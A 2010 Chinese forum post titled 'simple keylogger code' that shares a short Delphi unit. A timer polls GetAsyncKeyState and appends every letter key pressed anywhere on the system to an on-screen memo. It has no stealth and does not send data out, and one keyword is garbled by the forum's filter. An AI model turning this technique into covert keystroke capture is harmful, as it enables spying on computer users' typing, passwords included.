南瓜园

 找回密码
 注册
查看: 1028|回复: 0

键盘记录简单代码

[复制链接]
发表于 2010-9-17 11:16:47 | 显示全部楼层 |阅读模式
unit Unit1;

inte**ce

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
begin
  for i:=65 To 90 do
  begin
    if (GetAsyncKeyState(i)=-32767) then
      if (i>=65) and (i<=90) then
        memo1.Text:=memo1.Text+Char(i);
  end;
end;

end.
您需要登录后才可以回帖 登录 | 注册

本版积分规则

请大家牢记南瓜园网址 www.nan2008.com

QQ|小黑屋|手机版|Archiver|南瓜园

GMT+8, 2024-11-19 00:18 , Processed in 0.124678 second(s), 18 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表